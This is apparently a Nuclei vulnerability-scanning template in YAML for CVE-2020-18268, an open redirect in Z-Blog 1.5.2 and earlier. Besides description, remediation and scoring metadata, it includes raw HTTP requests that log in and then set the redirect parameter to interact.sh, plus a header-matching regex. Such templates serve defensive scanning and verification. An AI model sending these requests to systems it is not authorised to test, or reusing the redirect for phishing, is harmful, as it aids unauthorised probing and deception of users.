50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: CVE-2020-18268
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info:
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name: Z-Blog <=1.5.2 - Open Redirect
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author: 0x_Akoko
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severity: medium
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description: Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
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remediation: |
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Upgrade Z-Blog to version 1.5.3 or later to fix the open redirect vulnerability.
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reference:
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- https://github.com/zblogcn/zblogphp/issues/216
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- https://github.com/zblogcn/zblogphp/issues/209
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- https://nvd.nist.gov/vuln/detail/CVE-2020-18268
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2020-18268
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cwe-id: CWE-601
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epss-score: 0.00138
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epss-percentile: 0.49036
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cpe: cpe:2.3:a:zblogcn:z-blogphp:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: zblogcn
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product: z-blogphp
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tags: cve,cve2020,redirect,zblogphp,authenticated
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http:
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- raw:
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- |
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POST /zb_system/cmd.php?act=verify HTTP/1.1
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Host: {{Hostname}}
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Content-Length: 81
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Content-Type: application/x-www-form-urlencoded
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Connection: close
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btnPost=Log+In&username={{username}}&password={{md5("{{password}}")}}&savedate=0
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- |
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GET /zb_system/cmd.php?atc=login&redirect=http://www.interact.sh HTTP/2
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Host: {{Hostname}}
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cookie-reuse: true
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matchers:
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- type: regex
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part: header
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regex:
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- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
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# digest: 4b0a0048304602210097083cdc2dffcaccdbd6616665b03aed889512984c5c0b7215de8838589cfca2022100e120b5c4987447ce66daf67ec3fd2c63c7992732f20a458043db94f7a7e40b03:922c64590222798bb761d5b6d8e72950
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